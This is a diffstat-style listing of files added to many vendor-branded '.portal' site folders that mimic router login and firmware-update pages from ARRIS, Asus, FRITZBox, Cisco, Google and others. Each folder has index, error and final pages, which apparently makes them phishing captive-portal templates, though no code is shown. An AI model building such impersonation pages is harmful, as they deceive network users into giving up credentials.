.../css/bootstrap-theme.min.css | 6 + .../css/bootstrap-theme.min.css.map | 1 + .../sites/ARRIS_en.portal/css/bootstrap.css | 6757 +++++++++++++++++ .../ARRIS_en.portal/css/bootstrap.css.map | 1 + .../ARRIS_en.portal/css/bootstrap.min.css | 6 + .../ARRIS_en.portal/css/bootstrap.min.css.map | 1 + .../sites/ARRIS_en.portal/css/custom.css | 42 + .../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20127 bytes .../fonts/glyphicons-halflings-regular.svg | 288 + .../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 45404 bytes .../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23424 bytes .../fonts/glyphicons-halflings-regular.woff2 | Bin 0 -> 18028 bytes .../ARRIS_en.portal/images/arris-icon.png | Bin 0 -> 11123 bytes .../sites/ARRIS_en.portal/index.html | 2 + .../sites/ARRIS_en.portal/js/bootstrap.js | 2377 ++++++ .../sites/ARRIS_en.portal/js/bootstrap.min.js | 7 + .../sites/ARRIS_en.portal/js/custom.js | 109 + .../ARRIS_en.portal/js/jquery-3.2.1.min.js | 4 + .../sites/ARRIS_en.portal/js/npm.js | 13 + .../sites/ARRIS_es.portal/ayuda.htm | 3 + .../sites/ARRIS_es.portal/background.png | Bin 0 -> 10644 bytes .../sites/ARRIS_es.portal/error.html | 1 + .../sites/ARRIS_es.portal/final.html | 1 + .../sites/ARRIS_es.portal/house.png | Bin 0 -> 101668 bytes .../sites/ARRIS_es.portal/house1.png | Bin 0 -> 201130 bytes .../sites/ARRIS_es.portal/index.html | 52 + .../sites/ARRIS_es.portal/info.css | 72 + .../sites/ARRIS_es.portal/info.html | 92 + .../sites/ARRIS_es.portal/info2.css | 1 + .../Adbepicentro_it.portal/css/calendar.css | 95 + .../Adbepicentro_it.portal/css/common.css | 619 ++ .../Adbepicentro_it.portal/css/helpwidget.css | 91 + .../Adbepicentro_it.portal/css/style.css | 33 + .../Adbepicentro_it.portal/css/theme.css | 464 ++ .../img/AdminUser16.png | Bin 0 -> 890 bytes .../Adbepicentro_it.portal/img/Close16.png | Bin 0 -> 482 bytes .../img/FwUpgrade16.png | Bin 0 -> 784 bytes .../img/FwUpgrade48.png | Bin 0 -> 4484 bytes .../Adbepicentro_it.portal/img/Home16.png | Bin 0 -> 883 bytes .../img/Information32.png | Bin 0 -> 1773 bytes .../img/favicon-16x16.png | Bin 0 -> 15421 bytes .../sites/Adbepicentro_it.portal/img/logo.png | Bin 0 -> 12063 bytes .../sites/Adbepicentro_it.portal/index.html | 159 + .../js/jquery-2.1.4.min.js | 4 + .../sites/Adbepicentro_it.portal/js/pBar.js | 26 + .../sites/Alice_it.portal/css/_cpe.css | 319 + .../sites/Alice_it.portal/css/layout.css | 25 + .../sites/Alice_it.portal/css/style.css | 36 + .../sites/Alice_it.portal/images/buttonB0.gif | Bin 0 -> 1594 bytes .../sites/Alice_it.portal/images/buttonB9.gif | Bin 0 -> 1737 bytes .../sites/Alice_it.portal/images/buttonBC.gif | Bin 0 -> 1752 bytes .../sites/Alice_it.portal/images/buttonBF.gif | Bin 0 -> 1617 bytes .../sites/Alice_it.portal/images/buttonC2.gif | Bin 0 -> 1658 bytes .../sites/Alice_it.portal/images/buttonC5.gif | Bin 0 -> 1603 bytes .../images/buttonC8_agwifi.gif | Bin 0 -> 1694 bytes .../sites/Alice_it.portal/images/buttonCF.gif | Bin 0 -> 1498 bytes .../sites/Alice_it.portal/images/buttonD5.gif | Bin 0 -> 1628 bytes .../sites/Alice_it.portal/images/buttonD8.gif | Bin 0 -> 1717 bytes .../sites/Alice_it.portal/images/buttonDB.gif | Bin 0 -> 1788 bytes .../sites/Alice_it.portal/images/buttonDE.gif | Bin 0 -> 1518 bytes .../sites/Alice_it.portal/images/buttonE1.gif | Bin 0 -> 1537 bytes .../sites/Alice_it.portal/images/buttonE4.gif | Bin 0 -> 1785 bytes .../sites/Alice_it.portal/images/buttonE7.gif | Bin 0 -> 1663 bytes .../sites/Alice_it.portal/images/button_7.gif | Bin 0 -> 1721 bytes .../Alice_it.portal/images/header_agwifi.jpg | Bin 0 -> 11391 bytes .../sites/Alice_it.portal/index.html | 114 + .../Alice_it.portal/js/jquery-2.1.4.min.js | 4 + .../sites/Alice_it.portal/js/pBar.js | 26 + .../sites/Alice_it.portal/js/script.asc | 25 + .../statoApparato_data/statoApparato.html | 186 + .../statoApparato_data/tabelle.css | 148 + .../sites/Asus_it.portal/css/form_style.css | 2248 ++++++ .../sites/Asus_it.portal/css/index_style.css | 870 +++ .../sites/Asus_it.portal/css/update.css | 24 + .../images/New_ui/asustitle.png | Bin 0 -> 3010 bytes .../images/New_ui/bottom_bg.png | Bin 0 -> 886 bytes .../images/New_ui/bottom_help.png | Bin 0 -> 1396 bytes .../images/New_ui/bottom_search.png | Bin 0 -> 7177 bytes .../images/New_ui/bottom_text.png | Bin 0 -> 3356 bytes .../Asus_it.portal/images/New_ui/btn.png | Bin 0 -> 993 bytes .../Asus_it.portal/images/New_ui/btnspan.png | Bin 0 -> 4606 bytes .../images/New_ui/connectstatus.png | Bin 0 -> 1354 bytes .../images/New_ui/contentbt_normal.png | Bin 0 -> 1250 bytes .../images/New_ui/contentbt_over.png | Bin 0 -> 1250 bytes .../images/New_ui/dropdown_bt.png | Bin 0 -> 4218 bytes .../images/New_ui/dropdown_btover.png | Bin 0 -> 4264 bytes .../images/New_ui/export/line_export.png | Bin 0 -> 99 bytes .../Asus_it.portal/images/New_ui/helpicon.png | Bin 0 -> 976 bytes .../Asus_it.portal/images/New_ui/hightaba.png | Bin 0 -> 370 bytes .../images/New_ui/hightabclicka.png | Bin 0 -> 232 bytes .../images/New_ui/hightabclickspan.png | Bin 0 -> 381 bytes .../images/New_ui/hightabspan.png | Bin 0 -> 624 bytes .../images/New_ui/icon_indexes.png | Bin 0 -> 12714 bytes .../images/New_ui/icon_menues.png | Bin 0 -> 14694 bytes .../Asus_it.portal/images/New_ui/inputbg.png | Bin 0 -> 287 bytes .../sites/Asus_it.portal/images/New_ui/mb.jpg | Bin 0 -> 30523 bytes .../images/New_ui/middown_bg.png | Bin 0 -> 177 bytes .../Asus_it.portal/images/New_ui/midup_bg.png | Bin 0 -> 26465 bytes .../images/New_ui/multiplessidstatus.png | Bin 0 -> 1050 bytes .../images/New_ui/notification.png | Bin 0 -> 408 bytes .../images/New_ui/printstatus.png | Bin 0 -> 1589 bytes .../sites/Asus_it.portal/images/New_ui/re.jpg | Bin 0 -> 22077 bytes .../sites/Asus_it.portal/images/New_ui/rt.jpg | Bin 0 -> 19235 bytes .../Asus_it.portal/images/New_ui/title_bg.png | Bin 0 -> 8617 bytes .../images/New_ui/usbstatus.png | Bin 0 -> 1668 bytes .../sites/Asus_it.portal/images/favicon.png | Bin 0 -> 735 bytes .../Asus_it.portal/images/proceeding_img.gif | Bin 0 -> 141 bytes .../sites/Asus_it.portal/images/quotabar.gif | Bin 0 -> 143 bytes .../sites/Asus_it.portal/index.html | 52 + .../Asus_it.portal/js/jquery-2.1.4.min.js | 4 + .../sites/Asus_it.portal/js/pBar.js | 26 + .../sites/Bbox_fr.portal/css/array.css | 175 + .../sites/Bbox_fr.portal/css/button.css | 60 + .../sites/Bbox_fr.portal/css/contener.css | 469 ++ .../sites/Bbox_fr.portal/css/fonts.css | 87 + .../sites/Bbox_fr.portal/css/hardware.css | 151 + .../sites/Bbox_fr.portal/css/header.css | 141 + .../sites/Bbox_fr.portal/css/lbpopup.css | 231 + .../sites/Bbox_fr.portal/css/menu.css | 260 + .../sites/Bbox_fr.portal/css/menubouygues.css | 46 + .../sites/Bbox_fr.portal/css/page.css | 48 + .../sites/Bbox_fr.portal/css/styles.css | 516 ++ .../sites/Bbox_fr.portal/css/subcontener.css | 91 + .../sites/Bbox_fr.portal/error.html | 313 + .../sites/Bbox_fr.portal/final.html | 23 + .../Bbox_fr.portal/images/array/aide.jpg | Bin 0 -> 8165 bytes .../images/array/t2_bottom.html | 70 + .../images/array/t2_bottom_dbl.html | 70 + .../images/array/t2_colsep.html | 70 + .../images/array/t2_colsep2.html | 70 + .../images/array/t2_colsep2_dbl.html | 70 + .../images/array/t2_colsep_dbl.html | 70 + .../images/array/t2_left_dbl.html | 70 + .../images/array/t2_left_dbl2.html | 70 + .../images/array/t2_right_dbl.html | 70 + .../images/array/t2_right_dbl2.html | 70 + .../images/array/t2_right_rowsep.html | 70 + .../images/array/t2_rowsep.html | 70 + .../Bbox_fr.portal/images/array/t2_top.html | 70 + .../images/button/desactiver_ser.gif | Bin 0 -> 1985 bytes .../Bbox_fr.portal/images/button/wifi.html | 70 + .../images/contener/nosubnav_gradient.gif | Bin 0 -> 819 bytes .../images/contener/nosubnav_left.gif | Bin 0 -> 893 bytes .../images/contener/nosubnav_right.gif | Bin 0 -> 896 bytes .../images/contener/subnav_bargrey.gif | Bin 0 -> 811 bytes .../images/contener/subnav_left.gif | Bin 0 -> 870 bytes .../images/contener/subnav_right.gif | Bin 0 -> 871 bytes .../Bbox_fr.portal/images/frames/border.gif | Bin 0 -> 43 bytes .../images/frames/bottomleft.gif | Bin 0 -> 905 bytes .../images/frames/bottomright.gif | Bin 0 -> 72 bytes .../Bbox_fr.portal/images/frames/topleft.gif | Bin 0 -> 854 bytes .../Bbox_fr.portal/images/frames/topright.gif | Bin 0 -> 855 bytes .../images/header/left_down.html | 70 + .../Bbox_fr.portal/images/header/left_up.html | 70 + .../Bbox_fr.portal/images/header/left_up3.gif | Bin 0 -> 1034 bytes .../Bbox_fr.portal/images/header/logo.gif | Bin 0 -> 32656 bytes .../images/header/middle_up.html | 70 + .../images/header/middle_up1.gif | Bin 0 -> 925 bytes .../images/header/right_down.html | 70 + .../images/header/right_up.html | 70 + .../images/header/right_up1.gif | Bin 0 -> 941 bytes .../sites/Bbox_fr.portal/images/menu/1.gif | Bin 0 -> 2769 bytes .../sites/Bbox_fr.portal/images/menu/3.gif | Bin 0 -> 3030 bytes .../images/menu/arrowrightorange.html | 70 + .../images/menu/arrowrightwhite.html | 70 + .../Bbox_fr.portal/images/menu/bottom.gif | Bin 0 -> 809 bytes .../images/menu/bottomleft.html | 70 + .../images/menu/bottomright.gif | Bin 0 -> 914 bytes .../Bbox_fr.portal/images/menu/collapse.html | 70 + .../Bbox_fr.portal/images/menu/corner.gif | Bin 0 -> 1131 bytes .../images/menu/corner_b_left.gif | Bin 0 -> 374 bytes .../images/menu/corner_b_right.gif | Bin 0 -> 589 bytes .../images/menu/corner_wifi.gif | Bin 0 -> 1102 bytes .../images/menu/degrade_wifi_gen2.gif | Bin 0 -> 1490 bytes .../Bbox_fr.portal/images/menu/etoile.gif | Bin 0 -> 193 bytes .../Bbox_fr.portal/images/menu/expand.html | 70 + .../sites/Bbox_fr.portal/images/menu/left.gif | Bin 0 -> 814 bytes .../Bbox_fr.portal/images/menu/left2.gif | Bin 0 -> 77 bytes .../Bbox_fr.portal/images/menu/leftsep.gif | Bin 0 -> 807 bytes .../Bbox_fr.portal/images/menu/leftsepbig.gif | Bin 0 -> 878 bytes .../Bbox_fr.portal/images/menu/ligne.gif | Bin 0 -> 127 bytes .../Bbox_fr.portal/images/menu/ligne0.gif | Bin 0 -> 172 bytes .../Bbox_fr.portal/images/menu/ligne1.gif | Bin 0 -> 70 bytes .../Bbox_fr.portal/images/menu/ligneleft.gif | Bin 0 -> 86 bytes .../sites/Bbox_fr.portal/images/menu/puce.gif | Bin 0 -> 61 bytes .../Bbox_fr.portal/images/menu/right.gif | Bin 0 -> 814 bytes .../Bbox_fr.portal/images/menu/right2.gif | Bin 0 -> 131 bytes .../Bbox_fr.portal/images/menu/rightsep.gif | Bin 0 -> 808 bytes .../sites/Bbox_fr.portal/images/menu/sep.gif | Bin 0 -> 801 bytes .../Bbox_fr.portal/images/menu/sepbig.gif | Bin 0 -> 817 bytes .../sites/Bbox_fr.portal/images/menu/top.gif | Bin 0 -> 803 bytes .../Bbox_fr.portal/images/menu/topleft.html | 70 + .../Bbox_fr.portal/images/menu/topright.html | 70 + .../sites/Bbox_fr.portal/images/popup/1.html | 70 + .../Bbox_fr.portal/images/popup/bt1.html | 70 + .../Bbox_fr.portal/images/popup/cccccc.html | 70 + .../Bbox_fr.portal/images/popup/paramBD.html | 70 + .../Bbox_fr.portal/images/popup/paramBG.html | 70 + .../Bbox_fr.portal/images/popup/paramHD.html | 70 + .../Bbox_fr.portal/images/popup/paramHG.html | 70 + .../Bbox_fr.portal/images/popup/popupBL.html | 70 + .../Bbox_fr.portal/images/popup/popupBM.html | 70 + .../Bbox_fr.portal/images/popup/popupBR.html | 70 + .../images/popup/popupBodyL.html | 70 + .../images/popup/popupBodyR.html | 70 + .../Bbox_fr.portal/images/popup/popupM.html | 70 + .../Bbox_fr.portal/images/popup/popupTL.html | 70 + .../Bbox_fr.portal/images/popup/popupTR.html | 70 + .../Bbox_fr.portal/images/timezonemap.html | 70 + .../sites/Bbox_fr.portal/index.html | 313 + .../sites/Bbox_fr.portal/js/LBPopup.js | 267 + .../sites/Bbox_fr.portal/js/control.js | 1012 +++ .../sites/Bbox_fr.portal/js/dragresize.js | 261 + .../Bbox_fr.portal/js/fancybox/blank.html | 70 + .../js/fancybox/fancy_close.html | 70 + .../js/fancybox/fancy_loading.html | 70 + .../js/fancybox/fancy_nav_left.html | 70 + .../js/fancybox/fancy_nav_right.html | 70 + .../js/fancybox/fancy_shadow_e.html | 70 + .../js/fancybox/fancy_shadow_n.html | 70 + .../js/fancybox/fancy_shadow_ne.html | 70 + .../js/fancybox/fancy_shadow_nw.html | 70 + .../js/fancybox/fancy_shadow_s.html | 70 + .../js/fancybox/fancy_shadow_se.html | 70 + .../js/fancybox/fancy_shadow_sw.html | 70 + .../js/fancybox/fancy_shadow_w.html | 70 + .../js/fancybox/fancy_title_left.html | 70 + .../js/fancybox/fancy_title_main.html | 70 + .../js/fancybox/fancy_title_over.html | 70 + .../js/fancybox/fancy_title_right.html | 70 + .../js/fancybox/fancybox-x.html | 70 + .../js/fancybox/fancybox-y.html | 70 + .../Bbox_fr.portal/js/fancybox/fancybox.html | 70 + .../js/fancybox/jquery.fancybox-1.3.1.css | 363 + .../js/fancybox/jquery.fancybox-1.3.1.pack.js | 44 + .../Bbox_fr.portal/js/jquery-1.4.1.min.js | 0 .../sites/Bbox_fr.portal/js/jquery.form.js | 0 .../sites/Bbox_fr.portal/js/md5.js | 265 + .../sites/Bbox_fr.portal/js/script.js | 545 ++ .../sites/Belkin_en.portal/ayuda.htm | 2 + .../sites/Belkin_en.portal/background.png | Bin 0 -> 10644 bytes .../sites/Belkin_en.portal/error.html | 38 + .../sites/Belkin_en.portal/final.html | 1 + .../sites/Belkin_en.portal/house.png | Bin 0 -> 82591 bytes .../sites/Belkin_en.portal/house1.png | Bin 0 -> 181467 bytes .../sites/Belkin_en.portal/index.htm | 2 + .../sites/Belkin_en.portal/info.css | 1 + .../sites/Belkin_en.portal/info.html | 87 + .../sites/Belkin_en.portal/info2.css | 1 + .../Belkin_it.portal/css/main_router.css | 60 + .../sites/Belkin_it.portal/css/style.css | 36 + .../sites/Belkin_it.portal/img/favicon.ico | Bin 0 -> 1217 bytes .../sites/Belkin_it.portal/img/head_logo.gif | Bin 0 -> 2139 bytes .../sites/Belkin_it.portal/img/shim.gif | Bin 0 -> 49 bytes .../sites/Belkin_it.portal/index.htm | 1 + .../Belkin_it.portal/js/bootstrap-submenu.js | 1 + .../Belkin_it.portal/js/bootstrap.min.js | 6 + .../sites/Belkin_it.portal/js/common.js | 1 + .../js/detectmobilebrowser.js | 1 + .../sites/Belkin_it.portal/js/general.js | 1 + .../Belkin_it.portal/js/jquery-1.11.0.min.js | 2 + .../Belkin_it.portal/js/jquery-2.1.4.min.js | 4 + .../sites/Belkin_it.portal/js/main-include.js | 1 + .../sites/Belkin_it.portal/js/pBar.js | 26 + .../sites/Belkin_it.portal/js/script.asc | 25 + .../sites/Belkin_it.portal/setup_top.htm | 8 + .../sites/Belkin_it.portal/status.html | 57 + .../Cisco-Linksys_it.portal/css/my_style.css | 36 + .../Cisco-Linksys_it.portal/css/style.css | 949 +++ .../Cisco-Linksys_it.portal/image/UI_02.gif | Bin 0 -> 955 bytes .../Cisco-Linksys_it.portal/image/UI_03-1.gif | 0 .../Cisco-Linksys_it.portal/image/UI_03-2.gif | 0 .../Cisco-Linksys_it.portal/image/UI_03.gif | Bin 0 -> 481 bytes .../Cisco-Linksys_it.portal/image/UI_04.gif | Bin 0 -> 85 bytes .../Cisco-Linksys_it.portal/image/UI_05.gif | Bin 0 -> 962 bytes .../Cisco-Linksys_it.portal/image/UI_06.gif | Bin 0 -> 240 bytes .../Cisco-Linksys_it.portal/image/UI_07.gif | Bin 0 -> 225 bytes .../Cisco-Linksys_it.portal/image/UI_10.gif | Bin 0 -> 1464 bytes .../image/UI_Cisco.gif | 0 .../image/alert_minor.gif | Bin 0 -> 757 bytes .../Cisco-Linksys_it.portal/image/blue.gif | Bin 0 -> 880 bytes .../Cisco-Linksys_it.portal/image/favicon.ico | Bin 0 -> 2840 bytes .../Cisco-Linksys_it.portal/image/green.gif | Bin 0 -> 880 bytes .../Cisco-Linksys_it.portal/image/logo_gn.gif | Bin 0 -> 1927 bytes .../image/rtl/UI_03.gif | Bin 0 -> 479 bytes .../image/rtl/UI_04.gif | Bin 0 -> 77 bytes .../image/rtl/UI_05.gif | Bin 0 -> 963 bytes .../sites/Cisco-Linksys_it.portal/index.html | 57 + .../Cisco-Linksys_it.portal/js/common.js | 1358 ++++ .../js/jquery-2.1.4.min.js | 4 + .../sites/Cisco-Linksys_it.portal/js/pBar.js | 26 + .../sites/Cisco_it.portal/css/cues_taglib.css | 667 ++ .../sites/Cisco_it.portal/css/imgfix.css | 695 ++ .../sites/Cisco_it.portal/css/style.css | 1639 ++++ .../sites/Cisco_it.portal/css/update.css | 38 + .../Cisco_it.portal/image/BT_Disabled.jpg | Bin 0 -> 12918 bytes .../sites/Cisco_it.portal/image/BT_Hover.jpg | Bin 0 -> 19261 bytes .../sites/Cisco_it.portal/image/BT_Normal.jpg | Bin 0 -> 19151 bytes .../sites/Cisco_it.portal/image/BT_Press.jpg | Bin 0 -> 18972 bytes .../image/Cisco_Logo_RGB_67x40-black.png | Bin 0 -> 3655 bytes .../image/NavPaneGripperT_V.gif | Bin 0 -> 57 bytes .../image/ProgressBar_indeterminate.gif | Bin 0 -> 10178 bytes .../image/Status_criticalerror_icon.png | Bin 0 -> 5117 bytes .../image/Status_information_icon.png | Bin 0 -> 2361 bytes .../Cisco_it.portal/image/ToolbarMain.png | Bin 0 -> 202 bytes .../sites/Cisco_it.portal/image/block_50.png | Bin 0 -> 2838 bytes .../image/cisco_logo_header.png | Bin 0 -> 3617 bytes .../image/drawerTriangleCollapsedT.gif | Bin 0 -> 111 bytes .../image/drawerTriangleOpen_Selected.png | Bin 0 -> 192 bytes .../sites/Cisco_it.portal/image/favicon.ico | Bin 0 -> 1150 bytes .../sites/Cisco_it.portal/image/small_bg.jpg | Bin 0 -> 35656 bytes .../sites/Cisco_it.portal/index.html | 652 ++ .../sites/Cisco_it.portal/js/common.js | 2776 +++++++ .../sites/Cisco_it.portal/js/func.js | 2000 +++++ .../Cisco_it.portal/js/jquery-2.1.4.min.js | 4 + .../sites/Cisco_it.portal/js/pBar.js | 26 + .../sites/Cisco_it.portal/js/position.js | 320 + .../sites/Cisco_it.portal/lang_pack/EN.js | 1841 +++++ .../sites/Cisco_it.portal/tree-asp.htm | 408 + .../sites/Cisco_it.portal/upgrade-asp.htm | 52 + .../css/bootstrap-submenu.css | 1 + .../Digicom_it.portal/css/bootstrap.min.css | 5 + .../sites/Digicom_it.portal/css/my_style.css | 1 + .../sites/Digicom_it.portal/css/style.css | 1 + .../sites/Digicom_it.portal/css/stylemain.css | 1 + .../sites/Digicom_it.portal/img/advsetup.png | Bin 0 -> 6756 bytes .../Digicom_it.portal/img/exclamation.gif | Bin 0 -> 1052 bytes .../sites/Digicom_it.portal/img/favicon.ico | Bin 0 -> 2294 bytes .../sites/Digicom_it.portal/img/firewall.png | Bin 0 -> 10227 bytes .../sites/Digicom_it.portal/img/logo.png | Bin 0 -> 12637 bytes .../sites/Digicom_it.portal/img/netconf.png | Bin 0 -> 8414 bytes .../Digicom_it.portal/img/quicksetup.png | Bin 0 -> 6171 bytes .../sites/Digicom_it.portal/img/stats.png | Bin 0 -> 7187 bytes .../sites/Digicom_it.portal/img/wireless.png | Bin 0 -> 13820 bytes .../sites/Digicom_it.portal/index.htm | 9 + .../Digicom_it.portal/js/bootstrap-submenu.js | 1 + .../Digicom_it.portal/js/bootstrap.min.js | 6 + .../sites/Digicom_it.portal/js/common.js | 1 + .../js/detectmobilebrowser.js | 1 + .../sites/Digicom_it.portal/js/general.js | 1 + .../Digicom_it.portal/js/jquery-1.11.0.min.js | 2 + .../Digicom_it.portal/js/jquery-2.1.4.min.js | 4 + .../Digicom_it.portal/js/main-include.js | 1 + .../sites/Digicom_it.portal/js/pBar.js | 26 + .../sites/Digicom_it.portal/js/script.asc | 25 + .../sites/Digicom_it.portal/tools_update.html | 53 + .../sites/Djaweb_fr.portal/error.html | 10 + .../sites/Djaweb_fr.portal/final.html | 1 + .../sites/Djaweb_fr.portal/images/Thumbs.db | Bin 0 -> 16896 bytes .../Djaweb_fr.portal/images/bodybgcolor.gif | Bin 0 -> 909 bytes .../sites/Djaweb_fr.portal/images/loading.gif | Bin 0 -> 16810 bytes .../sites/Djaweb_fr.portal/images/logo2.gif | Bin 0 -> 6614 bytes .../sites/Djaweb_fr.portal/images/style.css | 157 + .../sites/Djaweb_fr.portal/index.html | 24 + .../sites/Dlink_it.portal/browse.jpg | Bin 0 -> 1917 bytes .../sites/Dlink_it.portal/css/bsecure.css | 1 + .../sites/Dlink_it.portal/css/style.css | 1 + .../Dlink_it.portal/css/substyle_DIR-655.css | 1 + .../Dlink_it.portal/img_bg_masthead_red.gif | Bin 0 -> 861 bytes .../Dlink_it.portal/img_masthead_red.gif | Bin 0 -> 36385 bytes .../Dlink_it.portal/img_wireless_bottom.gif | Bin 0 -> 573 bytes .../sites/Dlink_it.portal/index.html | 55 + .../Dlink_it.portal/js/jquery-2.1.4.min.js | 1 + .../sites/Dlink_it.portal/js/pBar.js | 3 + .../sites/Dlink_ru.portal/browse.jpg | Bin 0 -> 1917 bytes .../sites/Dlink_ru.portal/css/bsecure.css | 1 + .../sites/Dlink_ru.portal/css/style.css | 1 + .../Dlink_ru.portal/css/substyle_DIR-655.css | 1 + .../Dlink_ru.portal/img_bg_masthead_red.gif | Bin 0 -> 861 bytes .../Dlink_ru.portal/img_masthead_red.gif | Bin 0 -> 36385 bytes .../Dlink_ru.portal/img_wireless_bottom.gif | Bin 0 -> 573 bytes .../sites/Dlink_ru.portal/index.html | 52 + .../Dlink_ru.portal/js/jquery-2.1.4.min.js | 1 + .../sites/Dlink_ru.portal/js/pBar.js | 3 + .../sites/FRITZBox1_en.portal/error.html | 613 ++ .../sites/FRITZBox1_en.portal/final.html | 615 ++ .../sites/FRITZBox1_en.portal/fritzLogo.svg | 77 + .../sites/FRITZBox1_en.portal/index.html | 615 ++ .../FRITZBox1_en.portal/login_background.svg | 2 + .../sites/FRITZBox2_en.portal/bg.png | Bin 0 -> 18775 bytes .../sites/FRITZBox2_en.portal/error.html | 201 + .../sites/FRITZBox2_en.portal/final.html | 201 + .../sites/FRITZBox2_en.portal/header.png | Bin 0 -> 75985 bytes .../FRITZBox2_en.portal/header_small.png | Bin 0 -> 55951 bytes .../sites/FRITZBox2_en.portal/icon0.png | Bin 0 -> 18735 bytes .../sites/FRITZBox2_en.portal/icon1.png | Bin 0 -> 19356 bytes .../sites/FRITZBox2_en.portal/icon2.png | Bin 0 -> 18955 bytes .../sites/FRITZBox2_en.portal/icon3.png | Bin 0 -> 18706 bytes .../sites/FRITZBox2_en.portal/index.html | 200 + .../sites/FRITZBox_de.portal/bg.png | Bin 0 -> 18775 bytes .../sites/FRITZBox_de.portal/error.html | 613 ++ .../sites/FRITZBox_de.portal/final.html | 615 ++ .../sites/FRITZBox_de.portal/fritzLogo.svg | 2 + .../sites/FRITZBox_de.portal/header.png | Bin 0 -> 75985 bytes .../sites/FRITZBox_de.portal/header_small.png | Bin 0 -> 55951 bytes .../sites/FRITZBox_de.portal/icon0.png | Bin 0 -> 18735 bytes .../sites/FRITZBox_de.portal/icon1.png | Bin 0 -> 19356 bytes .../sites/FRITZBox_de.portal/icon2.png | Bin 0 -> 18955 bytes .../sites/FRITZBox_de.portal/icon3.png | Bin 0 -> 18706 bytes .../sites/FRITZBox_de.portal/index.html | 615 ++ .../FRITZBox_de.portal/login_background.svg | 2 + .../sites/Freebox_fr.portal/css/base.css | 193 + .../Freebox_fr.portal/css/centragescreen.css | 4 + .../sites/Freebox_fr.portal/css/console.css | 1714 +++++ .../sites/Freebox_fr.portal/css/loginpage.css | 102 + .../sites/Freebox_fr.portal/css/reset.html | 151 + .../sites/Freebox_fr.portal/error.html | 118 + .../sites/Freebox_fr.portal/final.html | 23 + .../abonnement/serviceplus_assistance.html | 151 + .../abonnement/serviceplus_assurance.html | 151 + .../abonnement/serviceplus_installation.html | 151 + .../images/abonnement/serviceplus_mcafee.html | 151 + .../images/accesrapide_bg.html | 151 + .../images/assets_buttons.html | 151 + .../images/assets_global.html | 151 + .../Freebox_fr.portal/images/assets_login.png | Bin 0 -> 30405 bytes .../images/assistance/icon-monsav.html | 151 + .../images/assistance/icon-supportsav.html | 151 + .../images/assistance/monsav-boxtitle.html | 151 + .../images/footer_separator.png | Bin 0 -> 2449 bytes .../sites/Freebox_fr.portal/images/freeid.png | Bin 0 -> 145472 bytes .../Freebox_fr.portal/images/globalnav.html | 151 + .../homewidgets/widget_epg_iconbtn.html | 151 + .../homewidgets/widget_epg_selectbtn.html | 151 + .../images/internet/etape_routeurconfig.html | 151 + .../images/internet/etape_wificonfig.html | 151 + .../Freebox_fr.portal/images/login_bg.png | Bin 0 -> 79973 bytes .../Freebox_fr.portal/images/logofree.png | Bin 0 -> 6443 bytes .../Freebox_fr.portal/images/newevent.png | Bin 0 -> 1440 bytes .../Freebox_fr.portal/images/noisebg.html | 151 + .../images/section_icons.html | 151 + .../Freebox_fr.portal/images/selectbtn.html | 151 + .../images/sprite_buttons.html | 151 + .../images/sprite_gradients.png | Bin 0 -> 1283 bytes .../images/sprite_listitems.html | 151 + .../images/sprite_testdebit.html | 151 + .../images/sprite_topbar_abonne.html | 151 + .../images/submenu_titles.html | 151 + .../Freebox_fr.portal/images/switchbtn.html | 151 + .../sites/Freebox_fr.portal/images/topbar.png | Bin 0 -> 3269 bytes .../sites/Freebox_fr.portal/index.html | 118 + .../sites/GENENIX_de.portal/error.html | 140 + .../sites/GENENIX_de.portal/final.html | 158 + .../GENENIX_de.portal/genexis-logo-small.jpg | Bin 0 -> 27116 bytes .../sites/GENENIX_de.portal/index.html | 135 + .../sites/GENENIX_de.portal/spinner.gif | Bin 0 -> 48459 bytes .../sites/Google_de.portal/error.html | 1300 ++++ .../sites/Google_de.portal/final.html | 1286 ++++ .../sites/Google_de.portal/index.html | 1210 +++ .../sites/HUAWEI_en.portal/ayuda.htm | 2 + .../sites/HUAWEI_en.portal/background.png | Bin 0 -> 10644 bytes .../sites/HUAWEI_en.portal/error.html | 38 + .../sites/HUAWEI_en.portal/final.html | 1 + .../sites/HUAWEI_en.portal/house.png | Bin 0 -> 77570 bytes .../sites/HUAWEI_en.portal/house1.png | Bin 0 -> 183241 bytes .../sites/HUAWEI_en.portal/index.htm | 2 + .../sites/HUAWEI_en.portal/info.css | 1 + .../sites/HUAWEI_en.portal/info.html | 87 + .../sites/HUAWEI_en.portal/info2.css | 1 + .../sites/HUAWEI_it.portal/favicon.ico | Bin 0 -> 5430 bytes .../sites/HUAWEI_it.portal/index.html | 1 + .../HUAWEI_it.portal/js/jquery-2.1.4.min.js | 1 + .../sites/HUAWEI_it.portal/js/pBar.js | 3 + .../sites/HUAWEI_it.portal/js/script.asc | 1 + .../HUAWEI_it.portal/router_files/footer.html | 45 + .../router_files/footer_data/footer.asc | 36 + .../HUAWEI_it.portal/router_files/logo.html | 97 + .../router_files/logo_data/helpmain.gif | Bin 0 -> 2101 bytes .../router_files/logo_data/leftblock.asc | Bin 0 -> 3856 bytes .../router_files/logo_data/logo.asc | 37 + .../router_files/logo_data/logo.gif | Bin 0 -> 2841 bytes .../router_files/logo_data/logo2.asc | Bin 0 -> 6191 bytes .../router_files/logo_data/logoback.asc | Bin 0 -> 3015 bytes .../router_files/logo_data/logout.gif | Bin 0 -> 1628 bytes .../router_files/logo_data/midblock.asc | Bin 0 -> 2967 bytes .../router_files/logo_data/rightblock.asc | Bin 0 -> 4069 bytes .../router_files/logo_data/stylemain.css | 69 + .../HUAWEI_it.portal/router_files/menu.html | 72 + .../router_files/menu_data/adminmenu.js | 81 + .../router_files/menu_data/advance.gif | Bin 0 -> 1674 bytes .../router_files/menu_data/basic.gif | Bin 0 -> 1492 bytes .../router_files/menu_data/device.asc | 146 + .../router_files/menu_data/firstmenu.gif | Bin 0 -> 308 bytes .../router_files/menu_data/info.gif | Bin 0 -> 1677 bytes .../router_files/menu_data/maintain.gif | Bin 0 -> 1694 bytes .../router_files/menu_data/menutree.js | 262 + .../router_files/menu_data/usermenu.js | 50 + .../HUAWEI_it.portal/router_files/tab.html | 104 + .../router_files/tab_data/clicktableft.gif | Bin 0 -> 411 bytes .../router_files/tab_data/clicktabmid.gif | Bin 0 -> 169 bytes .../router_files/tab_data/clicktabright.gif | Bin 0 -> 408 bytes .../router_files/tab_data/inittableft.gif | Bin 0 -> 126 bytes .../router_files/tab_data/inittabmid.gif | Bin 0 -> 55 bytes 